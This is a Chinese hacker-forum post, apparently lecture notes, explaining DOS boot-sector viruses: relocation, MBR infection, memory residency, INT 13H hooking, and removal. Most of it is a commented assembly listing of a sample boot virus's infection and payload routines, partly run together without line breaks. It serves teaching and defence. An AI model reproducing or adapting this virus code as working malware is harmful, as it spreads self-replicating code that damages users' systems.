跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

【计算机网络病毒五】DOS病毒之引导型病毒


Tenfk

推荐的帖子

四、DOS病毒之引导型病毒

4.1 病毒的重定位

病毒重定位的原因
  • 正常源程序在编译的时候,变量在内存中的位置都被计算好了,程序装入内存时,系统不会为它重定位。
  • 病毒感染HOST后,由于其依附到不同HOST程序中的位置不尽相同,病毒随HOST载入内存后,病毒中的各个变量在内存中的位置也会随之发生变化。
  • 病毒为了能正常使用其变量,必须重新定位。
病毒重定位的方法
  • 借助Call指令实现
  1. 当执行Call指令时,它会先将返回地址(紧接着call语句之后的那条语句在内存中的真正地址)压入堆栈,然后将IP置为Call语句所指向的地址。
  2. 在被调子程序遇到ret指令后,就会将堆栈顶端的地址弹出来,并将其置入IP中,实现返回。
  3. 病毒的重定位就是利用call指令对IP的操作来实现的。
  • 实现过程
    VStart:
    ...
    call delta
    delta:
    pop ebp
    sub ebp, offset delta-VStart
    lea eax, [offset Var2+ebp]

4.2 引导型病毒

引导型病毒概念
  • 指专门感染主引导扇区和引导扇区的计算机病毒。感染主引导区的病毒称作MBR病毒;感染引导区的病毒称作BR病毒。
引导型病毒的基本原理
  • 通过感染主引导扇区和引导扇区,在启动系统时即获取控制权。
  • 引导型病毒在感染主引导扇区/引导扇区时,将被感染扇区的“内容”写入其他扇区,并在FAT中标示该扇区所在簇为坏簇。
  • 为能在机器运行过程中能实施感染,通过修改内存大小,截取高端内存,实现常驻内存。
zzku12io0iv4530.ico
引导型病毒的触发与INT 13H
  • 引导型病毒的触发
  1. 引导型病毒在获取控制权后,修改INT 13H入口地址使其指向病毒中断服务程序,处于可激活态
  2. 当系统/用户进行磁盘读写时调用INT 13H,激活病毒。
  3. 病毒别激活后,可根据感染条件实施感染、根据爆发破坏条件破坏系统并表现自己。
引导型病毒样例分析
修改0:413h(减小可用内存)
	mov ax, ds:[413h]
	dec ax
	dec ax
	mov ds:[413h], ax
计算高端内存地址
	mov cl, 6 ;通过移位得到段地址
	shl ax, cl
	mov es, ax
搬移病毒至高端内存
mov si, sp
mov cx, VirusSize
cld
rep movsb
跳至端内存
push  ax
mov di, offset @@HighAddr
push di
retf
修改INT 13H中断向量
xchg ds:[13h*4+2], ax
mov cs:[OldInt13Seg], ax
mov ax, offset @@NewInt13
xchg ds:[13h*4],ax
mov cs:[OldInt13Off], ax
新INT13H
cmp dx, 0000h
jnz short @@JmpOldInt13
cmp ah, 02h  //读磁盘扇区
jnz short @@JmpOldInt13
cmp cx, 0001h  //主引导扇区
jnz short @@jmpOldInt13
call  @@OptDisk //条件: 读软盘主引导扇区,则感染
感染
@@OptDisk: ;传染dl表示的磁盘(dl-0 A: 80:C) 
pusha
push ds
push es ;保存段址与通用寄存器
push cs
pop es
push cs
pop ds ;使ds=es=cs
mov bx,OFF OldBootSpace
mov ax,0201h
mov cx,0001h
mov dh,00h
call @@CallInt13 ;读原引导扇区
jc short @@OptOver 
感染
mov di,bx
cmp ds:[di.VirusFlag], ’V’ ;判断是否已经有病毒?
jz short @@OptOver ;若有,则退出
cmp dl,00h
jz short @@IsOptFlopyDisk
@@IsOptHardDisk:
mov cx,0002h ;若是硬盘,保存在0面0道2扇区 
jmp short @@SaveOldBoot
@@IsOptFlopyDisk:
mov cx,79*100h+17 ;若是软盘,保存在0面79道17扇区
感染@@SaveOldBoot: mov  ax, 0301h mov dh, 0hcall  @@CallInt13 ;保存原引导扇区jc short  @@OptOvermov si, OFF @@Startcldmovswmovsb ;修改原扇区首指令(Jmp near 3字节)
感染    mov di, OFF @@Begin+200h    mov si, OFF @@Begin    mov cx, OFF @@End-OFF @@Begin    cld    rep  movsb ;修改原引导扇区指令cx字节    mov ax, 0301h    mov cx, 0001h    mov dh, 00h    call  @@CallInt13 ;写回已经被修改了的引导程序@@OptOver: ;退出传染	pop es	pop ds ;恢复段址与通用寄存器    popa
从软盘引导    call @@OptDisk ;调用传染模块    pop dx    @@ReadOldFlopyBoot: ;读出原软盘引导程序     mov ax,0201h    mov cx,79*100h+17 ;传染时将原引导程序保存在0面79道17扇区中    mov dh,00h    call @@CallInt13    jc short @@ReadOldFlopyBoot ;失败,继续读直到成功
从软盘引导  @@ExecOldBoot:  cmp es:[bx.Flags],0aa55h  jnz @@ExecOldBoot  mov ah,02h  int 1ah ;取系统时间  cmp cx,22*100h+30 ;是否大于22:30分  jb @@ExitDisp ;未到,则不显示  lea si,VirusMsg 
从软盘引导 @@DispMsg: mov al,cs:[si] inc si mov ah,0eh int 10h ;显示al中的字符 or al,al jnz @@DispMsg xor ax,ax int 16h ;键盘输入@@ExitDisp:mov cx,0001h ;恢复cx初值push espush bxretf ;去执行原引导程序
从硬盘引导@@ReadOldHardBoot:mov ax,0201h mov cx,0002h ;传染时将原硬盘主引导程序保存在0面0道2扇区中mov dh,00h call @@CallInt13 ;读出jc short @@ReadOldHardBoot ;失败,继续读直到成功jmp short @@ExecOldBoot ;去执行原引导程序

4.3 示例病毒感染的清除

通过备份主引导扇区进行还原

通过恢复中断向量表实现对病毒的灭活

引导型病毒的特点与清除
  • 驻留内存

一般采用修改0:413地址内的值的方法,但不够隐蔽。

  • 隐形技术:当病毒驻留时,读写引导区均对原引导区操作,好像没有病毒一样

  • 机密技术:一般加密分区表,使无毒盘启动时无法读取硬盘

  • 优点:

隐蔽性强、兼容性强

  • 缺点:

传染速度慢,一定要用带毒软盘启动才能传到硬盘

杀毒容易,只需改写引导区即可。

引导型病毒的判断与清除
  1. 通过查看JMP指令判断是否正常
  2. 通过检查引导扇区和内存容量判断是否有病毒驻留
  3. 对主引导病毒,不能通过Format清除,可以用FDisk/MBR命令修复,但可能会带来危险
  4. 最好的办法是对主引导扇区进行备份。
  • Like 1
链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...